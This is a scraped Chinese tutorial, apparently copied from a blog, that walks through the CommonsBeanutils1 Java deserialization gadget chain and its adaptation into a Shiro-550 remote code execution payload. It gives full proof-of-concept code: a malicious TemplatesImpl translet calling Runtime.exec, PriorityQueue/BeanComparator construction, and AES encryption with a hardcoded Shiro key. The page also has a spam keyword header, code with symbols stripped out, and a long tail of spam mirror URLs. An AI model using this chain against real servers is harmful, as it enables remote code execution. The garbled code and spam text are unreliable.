网站代码 商品添加分类,win7系统如何重装wordpress,可做外链的视频网站,网站加入搜索引擎怎么做一、前言
前面的学习中#xff0c;过了一遍cc1-cc7的利用链#xff0c;在CC2的利用链中#xff0c;学习了 java.util.PriorityQueue#xff0c;它在Java中是一个优先队列#xff0c;队列中每一个元素都有自己的优先级。在反序列化这个对象时#xff0c;为了保证队列顺序…一、前言
前面的学习中过了一遍cc1-cc7的利用链在CC2的利用链中学习了 java.util.PriorityQueue它在Java中是一个优先队列队列中每一个元素都有自己的优先级。在反序列化这个对象时为了保证队列顺序会进行重排序的操作而排序会进行比较进而执行 java.util.Comparator 接口的 compare()方法。 那么后续我们可以继续学习下其他利用 java.util.Comparator 对象。 二、初识 Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目它提供了对普通Java类对象也称为JavaBean 的一些操作方法。
比如Cat是一个最简单的 JavaBean类
final public class Cat{private String name catalina;public String getName() {return name;}public void setName(String name) {this.name name;}
}
它包含一个私有属性name和读取、设置这个属性的方法又称为 getter 和 setter 其中给getter的方法名以 get开头setter的方法以set开头全名符合骆驼式命名法 Camel-Case。
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty 让使用者可以直接调用任意JavaBean 的 getter 方法比如
PropertyUtils.getProperty(new Cat(), name);
此时commons-beanutils 会自动找到 name 属性的 getter() 方法也就是 getName 然后调用获得返回值。 除此之外 PropertyUtils.getProperty 还支持递归获取属性 比如 a对象中有属性b b对象有属性 c我们可以通过 PropertyUtils.getProperty(a, b.c) 的方式进行递归获取。 通过这个方法使用者可以很方便的调用任意对象的 getter 适用于在不确定 JavaBean 是哪个类对象时使用。当然 commons-beanutils 中还有很多类似的辅助方法如调用 setter、拷贝属性等。
三、getter 的妙用
文章开头说过再找过可以利用的 java.util.Comparator 对象 在 commons-beanutils 包中就存在一个 org.apache.commons.beanutils.BeanComparator
BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean是否相等的类其实现了java.util.Comparator 接口
org.apache.commons.beanutils.BeanComparator.javapublic int compare( final T o1, final T o2 ) {if ( property null ) {// compare the actual objectsreturn internalCompare( o1, o2 );}try {final Object value1 PropertyUtils.getProperty( o1, property );final Object value2 PropertyUtils.getProperty( o2, property );return internalCompare( value1, value2 );}catch ( final IllegalAccessException iae ) {throw new RuntimeException( IllegalAccessException: iae.toString() );}catch ( final InvocationTargetException ite ) {throw new RuntimeException( InvocationTargetException: ite.toString() );}catch ( final NoSuchMethodException nsme ) {throw new RuntimeException( NoSuchMethodException: nsme.toString() );}
}
这个方法传入两个对象如果 this.property 为空 则直接比较这两个对象 如果 this.property 不为空则用 PropertyUtils.getProperty 分别取这两个对象的 this.property属性比较属性的值。 在上节说过 PropertyUtils.getProperty 这个方法会自动调用一个 JavaBean 的getter 方法这个点就是 任意代码执行的关键。 有没有什么 getter 方法可以执行恶意代码呢
在 java的类加载机制的学习_java是如何加载类的-CSDN博客 文章中有过这么一条关于TemplatesImpl 的调用链的说明 追溯到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer() 这两者都是 public属性都可以被外部调用当初我们分析是从 TemplatesImpl#newTransformer() 开始利用调用的 但是实际上 TemplatesImpl#getOutputProperties() 方法是调用链上的一环 它的内部调用了 TemplatesImpl#newTransformer() 也就是我们后面用来执行恶意字节码的地方。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.javapublic synchronized Properties getOutputProperties() {try{return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e){return null;}
}
而 getOutputProperties 这个名字 是以get 开头正符合 getter 的定义。
所以PropertyUtils.getPropertyh( o1, property ) 这段代码当 o1 是一个 TemplatesImpl对象而property 的值为 outputProperties时 系那个会自动调用 getter 也就是 TemplatesImpl#getOutputProperties() 方法 触发代码执行。
四、反序列化利用链构造
首先还是创建 TemplatesImpl
TemplatesImpl obj new TemplatesImpl();
setFieldValue(obj, _bytecodes, new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class,getName()).toBytecode()});
setFieldValue(obj, _name, HelloTemplatesImpl);
setFieldValue(obj, _tfactory, new TransformerFactoryImpl());
然后实例化 BeanComparator BeanComparator 构造函数为空时 默认的 property 就是空 final BeanComparator comparator new BeanComparator();
然后用这个comparator 实例化优先队列 PriorityQueue
final PriorityQueueObject queue new PriorityQueueObject(2, comparator);
//stub data for replacement later
queue.add(1);
queue.add(1);
我们添加了两个无害的可以比较的对象进队列中前文说过 BeanComParator#compare() 中如果this.property 为空则直接比较这两个对象。 这里实际上就是对两个1 进行排序。
初始化时使用无害对象 且 property 为空这一系列操作是为了 初始化的时候不要出错。 然后我们再用反射将 property 的值设置成恶意的 outputProperties 将队列里的两个替换成 恶意的 TemplateImpl 对象
setFieldValue(comparator, property, outputProperties);
setFieldValue(queue, queue, new Object[]{obj,obj});构造的POC如下 运行环境 Java 1.8.0_71 maven依赖 dependencygroupIdcommons-beanutils/groupIdartifactIdcommons-beanutils/artifactIdversion1.9.4/version
/dependency evil.javapackage com.vulhub.Ser;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println(Hello TemplatesImpl);Runtime.getRuntime().exec(calc.exe);}
}
CommonsBeanutils1.javapackage com.vulhub.Ser;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(obj, _name, HelloTemplatesImpl);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());final BeanComparator comparator new BeanComparator();final PriorityQueueObject queue new PriorityQueueObject(2, comparator);// stub data for replacement laterqueue.add(1);queue.add(1);setFieldValue(comparator, property, outputProperties);setFieldValue(queue, queue, new Object[]{obj, obj});ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object)ois.readObject();}
} 五、Shiro550 利用链
在之前文章TemplatesImpl 在Shiro中的利用链学习1_org.apache.shiro.io.classresolvingobjectinputstrea-CSDN博客
的学习中用了P神的 shirodemo 在里面提到过几个依赖库 前4个依赖和项目本身有关少了他们这个demo会出错或功能确实。 但是第5个依赖commons-collections主要是为了演示漏洞。 那么实际的场景下目标可能并没有安装 commons-collections 这个时候还能怎么利用这个 shiro反序列化漏洞呢
我们将项目 的commons-collections的依赖关闭查看项目结构发现 commons-beanutils:1.8.3赫然在列。 也就是说 Shiro是依赖于 commonst-beanutils的。 尝试用上文构造的poc构造一个shiro的payload需要做以下两件事
第一是改变maven中 commons-beanutils 依赖的版本上面用的 commons-beanutils 1.9.4, demo中的用的是 commons-beanutils 1.8.3 不然会报错 Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID -2044202215314119608, local class serialVersionUID -3490850999041592962 如果两个不同版本的库使用了同一个类而这两个类可能有一些方法和属性有了变化此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此Java在反序列化的时候提供了一个机制序列化时会 根据固定算法计算出一个当前类的serialVersionUID值写入数据流中反序列化时如果发现对方的环境中这个类计算出的serialVersionUID不同则反序列化就会异常退出避免后续的未知隐患。 当然开发者也可以手工给类赋予一个serialVersionUID值此时就能手工控制兼容性了 第二在原先的基础上将序列化字节流重新加密下生成shiro的payload //输出 Shiro的payloadAesCipherService aes new AesCipherService();byte[] key java.util.Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA);ByteSource ciphertext aes.encrypt(barr.toByteArray(), key);System.out.println(ciphertext.toString());
点击发送payload然后发现还是报错了: Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found. 简单来说就是没找到 org.apache.collections.comparators.ComparableComparator 类 从包名可以看出这个类来自 commons-collections。
commons-beanutils 本来依赖于 commons-collections 但是在Shiro中它的 commons-beanutils 虽然包含了 一部分 commons-collections的类 但却不全。这也导致正常使用 Shiro 的时候不需要依赖于 commons-collections 但反序列化利用的时候需要依赖于 commons-collections。
六、无依赖的 Shiro 发序列化利用链
我们先看下 org.apache.collections.comparators.ComparableComparator 类在哪里使用了 在 BeanComparator类的构造函数处当没有显式传入Comparator 的情况下则默认使用 org.apache.commons.collections.comparators.ComparableComparator 这也是报错的原因我们poc中没有指定导致用了commons-collections 包的 ComparableComparator类。
既然Shiro中没有org.apache.commons.collections.comparators.ComparableComparator
就需要重新找一个类来替换需要满足下面几个条件
实现java.util.Comparator 接口实现 java.io.Serializable 接口Java、shiro 或 commons-beanutils 自带兼容性强 通过 IDEA 的功能我们找到一个 CaseInsensitiveComparator 相关代码如下
java.lang.String public static final ComparatorString CASE_INSENSITIVE_ORDER new CaseInsensitiveComparator();private static class CaseInsensitiveComparatorimplements ComparatorString, java.io.Serializable {// use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID 8575799808933029326L;public int compare(String s1, String s2) {int n1 s1.length();int n2 s2.length();int min Math.min(n1, n2);for (int i 0; i min; i) {char c1 s1.charAt(i);char c2 s2.charAt(i);if (c1 ! c2) {c1 Character.toUpperCase(c1);c2 Character.toUpperCase(c2);if (c1 ! c2) {c1 Character.toLowerCase(c1);c2 Character.toLowerCase(c2);if (c1 ! c2) {// No overflow because of numeric promotionreturn c1 - c2;}}}}return n1 - n2;}}这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类其实现了Comparator 和 Serializable 且位于Java的核心代码中兼容性强是一个完美替代品。
并且通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 caseInsensitiveComparator 对象用它来实例化 BeanComparator
final BeanComparator comparator new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER); 后面添加的对象要是字符类型把1 改成“1” 即可:
queue.add(“1”);
queue.add(“1”);最终poc如下
CommonsBeanutils1.javapackage com.vulhub.Ser;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;public class CommonsBeanutils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(obj, _name, HelloTemplatesImpl);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());final BeanComparator comparator new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueueObject queue new PriorityQueueObject(2, comparator);// stub data for replacement later//需要添加字符串queue.add(1);queue.add(1);setFieldValue(comparator, property, outputProperties);setFieldValue(queue, queue, new Object[]{obj, obj});ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();//输出 Shiro的payloadAesCipherService aes new AesCipherService();byte[] key Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA);ByteSource ciphertext aes.encrypt(barr.toByteArray(), key);System.out.println(ciphertext.toString());//System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object)ois.readObject();}
} 其实也有用 java.util.Collections$ReverseComparator类的
java.util.Collections.javapublic static T ComparatorT reverseOrder() {return (ComparatorT) ReverseComparator.REVERSE_ORDER;}/*** serial include*/private static class ReverseComparatorimplements ComparatorComparableObject, Serializable {private static final long serialVersionUID 7207038068494060240L;static final ReverseComparator REVERSE_ORDER new ReverseComparator();public int compare(ComparableObject c1, ComparableObject c2) {return c2.compareTo(c1);}private Object readResolve() { return reverseOrder(); }}
通过 java.util.Collections.reverseOrder()能够取得 ReverseComparator 对象 最终构造poc效果一样。 文章转载自: http://www.morning.fgxnb.cn.gov.cn.fgxnb.cn http://www.morning.hwnnm.cn.gov.cn.hwnnm.cn http://www.morning.jlschmy.com.gov.cn.jlschmy.com http://www.morning.trlhc.cn.gov.cn.trlhc.cn http://www.morning.qtnmp.cn.gov.cn.qtnmp.cn http://www.morning.cwrnr.cn.gov.cn.cwrnr.cn http://www.morning.ryzgp.cn.gov.cn.ryzgp.cn http://www.morning.svrud.cn.gov.cn.svrud.cn http://www.morning.jljiangyan.com.gov.cn.jljiangyan.com http://www.morning.ggtkk.cn.gov.cn.ggtkk.cn http://www.morning.ymwcs.cn.gov.cn.ymwcs.cn http://www.morning.clkjn.cn.gov.cn.clkjn.cn http://www.morning.tbrnl.cn.gov.cn.tbrnl.cn http://www.morning.dmkhd.cn.gov.cn.dmkhd.cn http://www.morning.jgmdr.cn.gov.cn.jgmdr.cn http://www.morning.wdjcr.cn.gov.cn.wdjcr.cn http://www.morning.hnhsym.cn.gov.cn.hnhsym.cn http://www.morning.zbnkt.cn.gov.cn.zbnkt.cn http://www.morning.dgsr.cn.gov.cn.dgsr.cn http://www.morning.wptdg.cn.gov.cn.wptdg.cn http://www.morning.mnkhk.cn.gov.cn.mnkhk.cn http://www.morning.whpsl.cn.gov.cn.whpsl.cn http://www.morning.jcxzq.cn.gov.cn.jcxzq.cn http://www.morning.tnhmp.cn.gov.cn.tnhmp.cn http://www.morning.pggkr.cn.gov.cn.pggkr.cn http://www.morning.jmtrq.cn.gov.cn.jmtrq.cn http://www.morning.clybn.cn.gov.cn.clybn.cn http://www.morning.tongweishi.cn.gov.cn.tongweishi.cn http://www.morning.ljsxg.cn.gov.cn.ljsxg.cn http://www.morning.nhzzn.cn.gov.cn.nhzzn.cn http://www.morning.lxjxl.cn.gov.cn.lxjxl.cn http://www.morning.sbkb.cn.gov.cn.sbkb.cn http://www.morning.sqfrg.cn.gov.cn.sqfrg.cn http://www.morning.jwlmm.cn.gov.cn.jwlmm.cn http://www.morning.mjyrg.cn.gov.cn.mjyrg.cn http://www.morning.pqchr.cn.gov.cn.pqchr.cn http://www.morning.sxfmg.cn.gov.cn.sxfmg.cn http://www.morning.rwls.cn.gov.cn.rwls.cn http://www.morning.bsxws.cn.gov.cn.bsxws.cn http://www.morning.gbybx.cn.gov.cn.gbybx.cn http://www.morning.hwbf.cn.gov.cn.hwbf.cn http://www.morning.fpxyy.cn.gov.cn.fpxyy.cn http://www.morning.qgfy.cn.gov.cn.qgfy.cn http://www.morning.hcqpc.cn.gov.cn.hcqpc.cn http://www.morning.pzjfz.cn.gov.cn.pzjfz.cn http://www.morning.nxfwf.cn.gov.cn.nxfwf.cn http://www.morning.cqwb25.cn.gov.cn.cqwb25.cn http://www.morning.rtzd.cn.gov.cn.rtzd.cn http://www.morning.mlnzx.cn.gov.cn.mlnzx.cn http://www.morning.nwnbq.cn.gov.cn.nwnbq.cn http://www.morning.dfkmz.cn.gov.cn.dfkmz.cn http://www.morning.cprbp.cn.gov.cn.cprbp.cn http://www.morning.cyjjp.cn.gov.cn.cyjjp.cn http://www.morning.zhghd.cn.gov.cn.zhghd.cn http://www.morning.pmghz.cn.gov.cn.pmghz.cn http://www.morning.bnrnb.cn.gov.cn.bnrnb.cn http://www.morning.jxdhc.cn.gov.cn.jxdhc.cn http://www.morning.lnbcg.cn.gov.cn.lnbcg.cn http://www.morning.wqpb.cn.gov.cn.wqpb.cn http://www.morning.trplf.cn.gov.cn.trplf.cn http://www.morning.qdlr.cn.gov.cn.qdlr.cn http://www.morning.nfyc.cn.gov.cn.nfyc.cn http://www.morning.oumong.com.gov.cn.oumong.com http://www.morning.fnrkh.cn.gov.cn.fnrkh.cn http://www.morning.sxcwc.cn.gov.cn.sxcwc.cn http://www.morning.ghwtn.cn.gov.cn.ghwtn.cn http://www.morning.nsfxt.cn.gov.cn.nsfxt.cn http://www.morning.rbkl.cn.gov.cn.rbkl.cn http://www.morning.sskns.cn.gov.cn.sskns.cn http://www.morning.hrdx.cn.gov.cn.hrdx.cn http://www.morning.cmzgt.cn.gov.cn.cmzgt.cn http://www.morning.lxngn.cn.gov.cn.lxngn.cn http://www.morning.clqpj.cn.gov.cn.clqpj.cn http://www.morning.ktfbl.cn.gov.cn.ktfbl.cn http://www.morning.xnnxp.cn.gov.cn.xnnxp.cn http://www.morning.qkgwx.cn.gov.cn.qkgwx.cn http://www.morning.phzrq.cn.gov.cn.phzrq.cn http://www.morning.pdxqk.cn.gov.cn.pdxqk.cn http://www.morning.pqypt.cn.gov.cn.pqypt.cn http://www.morning.wrlxy.cn.gov.cn.wrlxy.cn